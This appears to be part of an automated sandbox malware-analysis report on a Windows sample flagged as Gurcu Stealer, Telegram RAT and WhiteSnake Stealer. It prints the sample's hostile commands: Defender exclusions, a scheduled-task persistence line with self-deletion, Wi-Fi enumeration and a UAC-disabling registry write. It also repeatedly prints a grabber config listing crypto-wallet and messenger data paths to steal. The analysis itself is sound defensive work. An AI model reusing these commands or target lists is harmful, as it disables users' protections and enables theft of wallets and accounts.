Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "add-mppreference -exclusionpath 'c:\users\user\desktop\jqohoupmjp.exe'; add-mppreference -exclusionprocess 'jqohoupmjp'; add-mppreference -exclusionpath 'c:\windows'; add-mppreference -exclusionpath 'c:\users\user'
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe" /c chcp 65001 && timeout /t 3 > nul && schtasks /create /tn "vkefq4cv.oil" /sc minute /tr "c:\users\user\appdata\local\robloxsecurity\vkefq4cv.oil.exe" /rl highest /f && del /f /s /q /a "c:\users\user\appdata\local\temp\vkefq4cv.oil.exe" &&start "" "c:\users\user\appdata\local\robloxsecurity\vkefq4cv.oil.exe
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "add-mppreference -exclusionpath 'c:\users\user\desktop\jqohoupmjp.exe'; add-mppreference -exclusionprocess 'jqohoupmjp'; add-mppreference -exclusionpath 'c:\windows'; add-mppreference -exclusionpath 'c:\users\user'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe" /c chcp 65001 && timeout /t 3 > nul && schtasks /create /tn "vkefq4cv.oil" /sc minute /tr "c:\users\user\appdata\local\robloxsecurity\vkefq4cv.oil.exe" /rl highest /f && del /f /s /q /a "c:\users\user\appdata\local\temp\vkefq4cv.oil.exe" &&start "" "c:\users\user\appdata\local\robloxsecurity\vkefq4cv.oil.exe	Jump to behavior

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Queries volume information: C:\Users\user\Desktop\jqOHOuPMJP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Queries volume information: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe VolumeInformation

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: Amcache.hve.41.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.41.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.41.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.41.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Gurcu Stealer

Source: Yara match	File source: 0000002D.00000002.3553295709.00000167D1889000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2953825020.000001EC01AD9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 125704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 325468, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vkefq4cv.oil.exe PID: 8072, type: MEMORYSTR

Yara detected WhiteSnake Stealer

Source: Yara match

File source: Process Memory Space: vkefq4cv.oil.exe PID: 8072, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tring><string>config.json;sql\db.sqlite</string><string>Grabber\Session</string></args></command><command name="0"><args><string>%AppData%\tox</string><string>.db;.tox;.ini;.json;.hstr</string><string>Grabber\Tox</string></args></command><command name="0"><args><string>%AppData%\.purple</string><string>accounts.xml</string><string>Apps\Pidgin</string></args></command><command name="5"><args><string>Telegram;tdata</string><string>%AppData%\Telegram Desktop\tdata</string><string>s;????????????????\s</string><string>Grabber\Telegram</string></args></command><command name="0"><args><string>%AppData%\ledger live</string><string>app.json</string><string>Grabber\Wallets\Ledger</string></args></command><command name="0"><args><string>%AppData%\atomic\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Atomic</string></args></command><command name="0"><args><string>%AppData%\WalletWasabi\Client\Wallets</string><string>.json</string><string>Grabber\Wallets\Wasabi</string></args></command><command name="0"><args><string>%AppData%\Binance</string><string>.json</string><string>Grabber\Wallets\Binance</string></args></command><command name="0"><args><string>%AppData%\Guarda\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Guarda</string></args></command><command name="0"><args><string>%LocalAppData%\Coinomi\Coinomi\wallets</string><string>.wallet</string><string>Grabber\Wallets\Coinomi</string></args></command><command name="0"><args><string>%AppData%\Bitcoin\wallets</string><string>\wallet</string><string>Grabber\Wallets\Bitcoin</string></args></command><command name="0"><args><string>%AppData%\Electrum\wallets</string><string></string><string>Grabber\Wallets\Electrum</string></args></command><command name="0"><args><string>%AppData%\Electrum-LTC\wallets</string><string></string><string>Grabber\Wallets\Electrum-LTC</string></args></command><command name="0"><args><string>%AppData%\Zcash</string><string>walletdat</string><string>Grabber\Wallets\Zcash</string></args></command><command name="0"><args><string>%AppData%\Exodus</string><string>exodus.conf.json;exodus.wallet\.seco</string><string>Grabber\Wallets\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>\</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests;PasswordMeta;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string><
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tring><string>config.json;sql\db.sqlite</string><string>Grabber\Session</string></args></command><command name="0"><args><string>%AppData%\tox</string><string>.db;.tox;.ini;.json;.hstr</string><string>Grabber\Tox</string></args></command><command name="0"><args><string>%AppData%\.purple</string><string>accounts.xml</string><string>Apps\Pidgin</string></args></command><command name="5"><args><string>Telegram;tdata</string><string>%AppData%\Telegram Desktop\tdata</string><string>s;????????????????\s</string><string>Grabber\Telegram</string></args></command><command name="0"><args><string>%AppData%\ledger live</string><string>app.json</string><string>Grabber\Wallets\Ledger</string></args></command><command name="0"><args><string>%AppData%\atomic\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Atomic</string></args></command><command name="0"><args><string>%AppData%\WalletWasabi\Client\Wallets</string><string>.json</string><string>Grabber\Wallets\Wasabi</string></args></command><command name="0"><args><string>%AppData%\Binance</string><string>.json</string><string>Grabber\Wallets\Binance</string></args></command><command name="0"><args><string>%AppData%\Guarda\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Guarda</string></args></command><command name="0"><args><string>%LocalAppData%\Coinomi\Coinomi\wallets</string><string>.wallet</string><string>Grabber\Wallets\Coinomi</string></args></command><command name="0"><args><string>%AppData%\Bitcoin\wallets</string><string>\wallet</string><string>Grabber\Wallets\Bitcoin</string></args></command><command name="0"><args><string>%AppData%\Electrum\wallets</string><string></string><string>Grabber\Wallets\Electrum</string></args></command><command name="0"><args><string>%AppData%\Electrum-LTC\wallets</string><string></string><string>Grabber\Wallets\Electrum-LTC</string></args></command><command name="0"><args><string>%AppData%\Zcash</string><string>walletdat</string><string>Grabber\Wallets\Zcash</string></args></command><command name="0"><args><string>%AppData%\Exodus</string><string>exodus.conf.json;exodus.wallet\.seco</string><string>Grabber\Wallets\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>\</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests;PasswordMeta;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string><
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tring><string>config.json;sql\db.sqlite</string><string>Grabber\Session</string></args></command><command name="0"><args><string>%AppData%\tox</string><string>.db;.tox;.ini;.json;.hstr</string><string>Grabber\Tox</string></args></command><command name="0"><args><string>%AppData%\.purple</string><string>accounts.xml</string><string>Apps\Pidgin</string></args></command><command name="5"><args><string>Telegram;tdata</string><string>%AppData%\Telegram Desktop\tdata</string><string>s;????????????????\s</string><string>Grabber\Telegram</string></args></command><command name="0"><args><string>%AppData%\ledger live</string><string>app.json</string><string>Grabber\Wallets\Ledger</string></args></command><command name="0"><args><string>%AppData%\atomic\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Atomic</string></args></command><command name="0"><args><string>%AppData%\WalletWasabi\Client\Wallets</string><string>.json</string><string>Grabber\Wallets\Wasabi</string></args></command><command name="0"><args><string>%AppData%\Binance</string><string>.json</string><string>Grabber\Wallets\Binance</string></args></command><command name="0"><args><string>%AppData%\Guarda\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Guarda</string></args></command><command name="0"><args><string>%LocalAppData%\Coinomi\Coinomi\wallets</string><string>.wallet</string><string>Grabber\Wallets\Coinomi</string></args></command><command name="0"><args><string>%AppData%\Bitcoin\wallets</string><string>\wallet</string><string>Grabber\Wallets\Bitcoin</string></args></command><command name="0"><args><string>%AppData%\Electrum\wallets</string><string></string><string>Grabber\Wallets\Electrum</string></args></command><command name="0"><args><string>%AppData%\Electrum-LTC\wallets</string><string></string><string>Grabber\Wallets\Electrum-LTC</string></args></command><command name="0"><args><string>%AppData%\Zcash</string><string>walletdat</string><string>Grabber\Wallets\Zcash</string></args></command><command name="0"><args><string>%AppData%\Exodus</string><string>exodus.conf.json;exodus.wallet\.seco</string><string>Grabber\Wallets\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>\</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests;PasswordMeta;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string><
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tring><string>config.json;sql\db.sqlite</string><string>Grabber\Session</string></args></command><command name="0"><args><string>%AppData%\tox</string><string>.db;.tox;.ini;.json;.hstr</string><string>Grabber\Tox</string></args></command><command name="0"><args><string>%AppData%\.purple</string><string>accounts.xml</string><string>Apps\Pidgin</string></args></command><command name="5"><args><string>Telegram;tdata</string><string>%AppData%\Telegram Desktop\tdata</string><string>s;????????????????\s</string><string>Grabber\Telegram</string></args></command><command name="0"><args><string>%AppData%\ledger live</string><string>app.json</string><string>Grabber\Wallets\Ledger</string></args></command><command name="0"><args><string>%AppData%\atomic\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Atomic</string></args></command><command name="0"><args><string>%AppData%\WalletWasabi\Client\Wallets</string><string>.json</string><string>Grabber\Wallets\Wasabi</string></args></command><command name="0"><args><string>%AppData%\Binance</string><string>.json</string><string>Grabber\Wallets\Binance</string></args></command><command name="0"><args><string>%AppData%\Guarda\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Guarda</string></args></command><command name="0"><args><string>%LocalAppData%\Coinomi\Coinomi\wallets</string><string>.wallet</string><string>Grabber\Wallets\Coinomi</string></args></command><command name="0"><args><string>%AppData%\Bitcoin\wallets</string><string>\wallet</string><string>Grabber\Wallets\Bitcoin</string></args></command><command name="0"><args><string>%AppData%\Electrum\wallets</string><string></string><string>Grabber\Wallets\Electrum</string></args></command><command name="0"><args><string>%AppData%\Electrum-LTC\wallets</string><string></string><string>Grabber\Wallets\Electrum-LTC</string></args></command><command name="0"><args><string>%AppData%\Zcash</string><string>walletdat</string><string>Grabber\Wallets\Zcash</string></args></command><command name="0"><args><string>%AppData%\Exodus</string><string>exodus.conf.json;exodus.wallet\.seco</string><string>Grabber\Wallets\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>\</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests;PasswordMeta;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string><
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tring><string>config.json;sql\db.sqlite</string><string>Grabber\Session</string></args></command><command name="0"><args><string>%AppData%\tox</string><string>.db;.tox;.ini;.json;.hstr</string><string>Grabber\Tox</string></args></command><command name="0"><args><string>%AppData%\.purple</string><string>accounts.xml</string><string>Apps\Pidgin</string></args></command><command name="5"><args><string>Telegram;tdata</string><string>%AppData%\Telegram Desktop\tdata</string><string>s;????????????????\s</string><string>Grabber\Telegram</string></args></command><command name="0"><args><string>%AppData%\ledger live</string><string>app.json</string><string>Grabber\Wallets\Ledger</string></args></command><command name="0"><args><string>%AppData%\atomic\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Atomic</string></args></command><command name="0"><args><string>%AppData%\WalletWasabi\Client\Wallets</string><string>.json</string><string>Grabber\Wallets\Wasabi</string></args></command><command name="0"><args><string>%AppData%\Binance</string><string>.json</string><string>Grabber\Wallets\Binance</string></args></command><command name="0"><args><string>%AppData%\Guarda\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Guarda</string></args></command><command name="0"><args><string>%LocalAppData%\Coinomi\Coinomi\wallets</string><string>.wallet</string><string>Grabber\Wallets\Coinomi</string></args></command><command name="0"><args><string>%AppData%\Bitcoin\wallets</string><string>\wallet</string><string>Grabber\Wallets\Bitcoin</string></args></command><command name="0"><args><string>%AppData%\Electrum\wallets</string><string></string><string>Grabber\Wallets\Electrum</string></args></command><command name="0"><args><string>%AppData%\Electrum-LTC\wallets</string><string></string><string>Grabber\Wallets\Electrum-LTC</string></args></command><command name="0"><args><string>%AppData%\Zcash</string><string>walletdat</string><string>Grabber\Wallets\Zcash</string></args></command><command name="0"><args><string>%AppData%\Exodus</string><string>exodus.conf.json;exodus.wallet\.seco</string><string>Grabber\Wallets\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>\</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests;PasswordMeta;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string><
Source: vkefq4cv.oil.exe, 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tring><string>config.json;sql\db.sqlite</string><string>Grabber\Session</string></args></command><command name="0"><args><string>%AppData%\tox</string><string>.db;.tox;.ini;.json;.hstr</string><string>Grabber\Tox</string></args></command><command name="0"><args><string>%AppData%\.purple</string><string>accounts.xml</string><string>Apps\Pidgin</string></args></command><command name="5"><args><string>Telegram;tdata</string><string>%AppData%\Telegram Desktop\tdata</string><string>s;????????????????\s</string><string>Grabber\Telegram</string></args></command><command name="0"><args><string>%AppData%\ledger live</string><string>app.json</string><string>Grabber\Wallets\Ledger</string></args></command><command name="0"><args><string>%AppData%\atomic\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Atomic</string></args></command><command name="0"><args><string>%AppData%\WalletWasabi\Client\Wallets</string><string>.json</string><string>Grabber\Wallets\Wasabi</string></args></command><command name="0"><args><string>%AppData%\Binance</string><string>.json</string><string>Grabber\Wallets\Binance</string></args></command><command name="0"><args><string>%AppData%\Guarda\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\Guarda</string></args></command><command name="0"><args><string>%LocalAppData%\Coinomi\Coinomi\wallets</string><string>.wallet</string><string>Grabber\Wallets\Coinomi</string></args></command><command name="0"><args><string>%AppData%\Bitcoin\wallets</string><string>\wallet</string><string>Grabber\Wallets\Bitcoin</string></args></command><command name="0"><args><string>%AppData%\Electrum\wallets</string><string></string><string>Grabber\Wallets\Electrum</string></args></command><command name="0"><args><string>%AppData%\Electrum-LTC\wallets</string><string></string><string>Grabber\Wallets\Electrum-LTC</string></args></command><command name="0"><args><string>%AppData%\Zcash</string><string>walletdat</string><string>Grabber\Wallets\Zcash</string></args></command><command name="0"><args><string>%AppData%\Exodus</string><string>exodus.conf.json;exodus.wallet\.seco</string><string>Grabber\Wallets\Exodus</string></args></command><command name="0"><args><string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxLiberty</string></args></command><command name="0"><args><string>%AppData%\Jaxx\Local Storage\leveldb</string><string>.l??</string><string>Grabber\Wallets\JaxxClassic</string></args></command><command name="0"><args><string>%UserProfile%\Documents\Monero\wallets</string><string>\</string><string>Grabber\Wallets\Monero</string></args></command><command name="0"><args><string>%AppData%\MyMonero</string><string>FundsRequests;PasswordMeta;Wallets*</string><string>Grabber\Wallets\MyMonero</string></args></command><command name="3"><args><string>Metamask</string><string>nkbihfbeogaeaoehlefnkodbefgpgknn</string><
